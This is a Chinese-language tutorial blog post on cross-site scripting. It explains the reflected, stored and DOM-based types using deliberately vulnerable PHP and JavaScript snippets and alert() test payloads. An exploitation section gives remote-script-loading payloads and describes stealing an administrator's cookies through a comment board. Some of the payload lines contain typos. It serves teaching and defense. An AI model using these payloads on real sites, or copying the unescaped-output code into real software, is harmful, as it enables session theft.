xss漏洞攻击与防御

96
作者 zksmile
2016.06.25 08:39 字数 2053

xss 简介

xss 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)缩写混淆,所以将跨站脚本攻击缩写为xss。

xss是什么

xss就是攻击者在web页面插入恶意的Script代码,当用户浏览该页之时,嵌入其中web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

xss的类型

xss类型一般分为三种:

第一种:反射型XSS

反射型XSS只是简单的把用户输入的数据“反射”给浏览器.也就是说需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型XSS也叫作“非持久型XSS”

第二种:储存型XSS

储存型XSS会把用户输入的数据“储存”在服务器端。这种XSS具有很强的稳定性

第三种:DOM Based XSS

实际上,这种类型的XSS并非按照“数据是否保存在服务器端”来划分的,从效果上来说也是反射型XSS单独划分出来的,因为DOM Based XSS 的形成原因比较特别。这是由于客户端脚本自身解析不正确导致的安全问题。

XSS的攻击原理

反射型XSS的攻击原理

反射型XSS,是最常用的,使用最广的一种方式。通过给别人发送有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数呗HTML解析、执行。
它的特点:是非持久化,必须用户点击带有特定参数的链接才能引起。

例子:
假设一个页面把用户输入的参数直接输出到页面上:

<?php   
    $input = $_GET["param"];
    echo "<div>".$input."</div>"
?>

正常情况下,用户想param提交数据会展示到页面中,比如:
http://127.0.0.1/xss.php?param=This is a test!
会得到如下结果:



在查看页面源代码,可以看到:
<div>/This is a xss test!</div>
但是如果提交一段HTML代码:
http://127.0.0.1/xss.php?param=<script>alert(/This is a xss test!/)</script>
会发现,alert(/This is a xss test!/)在当前页面执行了:


再查看源代码:
<div><script>alert(/This is a xss test!/)</script></div>
用户输入的的Script,脚本已经被写入页面中,这并不是开发者所希望看到的。这就是反射型XSS攻击的原理

储存型XSS的攻击原理

存储型的攻击脚本被存储到了数据库或者文件中,服务端在读取了存储的内容回显了。就是存储型。这种情况下用户直接打开正常的页面就会看到被注入
流程如下:
坏人把恶意的XSS代码提交网站--->网站把XSS代码存储进数据库--->当页面再次被其他正常用户请求时,服务器发送已经被植入XSS代码的数据给客户端--->客户端执行XSS代码
例子:

<html>
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>留言板</title> 
</head> 
<body> 
<center> 
<h6>我的留言板</h6>
<form action="" method="get"> 
<h6>请输入留言内容</h6> 
<input type="text" name="xss_input_value" placeholder="输入留言内容"><br> 
<input type="submit" > 
</form> 
<hr> 
<h6>这里假设我们是正常用户来查看留言这个界面</h6>    
<?php 
if(isset($_GET['xss_input_value'])){
    $xss = $_GET['xss_input_value'];  
    if(isset($xss)){  
    echo '<input type="text" value="'.$xss.'">';  
    }else{  
    echo '<input type="type" vplaceholder="输出留言内容">';  
    }
}else{
    echo '<input type="type" placeholder="输出留言内容">';
}
?> 
</center> 
</body> 
</html>

这里我们假设第一个输入框的数据存入了数据库,而输出框从数据库中读取输入的数据。
此时在输入框插入恶意的代码
"><script>alert(/This is a xss test!/)</script>(">是用来闭合input标签)
当正常用户想要来查看留言板的内容时这条恶意代码就会被浏览器加载并执行


DMO Based XSS的攻击原理

DOM-based XSS漏洞是基于文档对象模型Document Objeet Model 的一种漏洞。DOM是一个与平台、编程语言无关的借口,它允许程序或脚本动态的访问或者更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些事用户可以操作的.客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格的确认,就会产生DOM-based XSS漏洞。
看如下代码:

<script>

function test(){
    var str = document.getElementById("text").value;
    document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
}

</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />

点击“write”按钮后,会在当前页面插入一个超链接,其地址为文本框的内容:


在这里,"write"按钮的onclick事件调用了test()函数。而在test()函数中,修改了页面DOM节点,通过innerHTML把一段用户数据当做HTML写入页面中,这就造成了DOM based XSS.

构造如下数据:
' onclick=alert(/xss/) //
输入之后,页面代码变成了:
<a href='' onclick=alert(/xss/) //' >testLink</a>
首先一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后在用注释符"//"注释掉第二个单引号。

点击这个新生成的链接,脚本将会执行,如下图所示:


XSS的利用

说了一大堆,大家以为 XSS就是弹窗,其实错了,弹窗只是测试XSS的存在性和使用性。
这时我们要插入JS代码了。
可以这样
<script scr="js_url"></script>
或者这样
<img src=x onerror=appendChild(creatElement('script')).src='js_url'>
各种姿势,各种插,只要能够运行我们的js就可以,js可以干很多事,可以获取cookies、控制用户的动作灯等。
比如我们在网站的留言区输入下面的代码:
<script scr="js_url"></script>
当管理员进入后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等都可以获取到。

xss的防御

现在的XSS如此流行,原因何在。我想大家应该都知道,就是在输入的时候没有做严格的过滤,而在输出的时候,也没有进行检查,转义,替换等
所以防范的方法就是,不信任任何用户的输入,对每个用户的输入都做严格检查,过滤,在输出的时候,对某些特殊字符进行转义,替换等

Bypass xss过滤

大部分情况下网站都对用户输入的数据进行了过滤,大家可以参考以下文章:
http://drops.wooyun.org/tips/845

心得:由于自己js代码基础为0,并不能给大家带来非常深奥的东西。如果有错误希望大家在下边评论指出。

渗透篇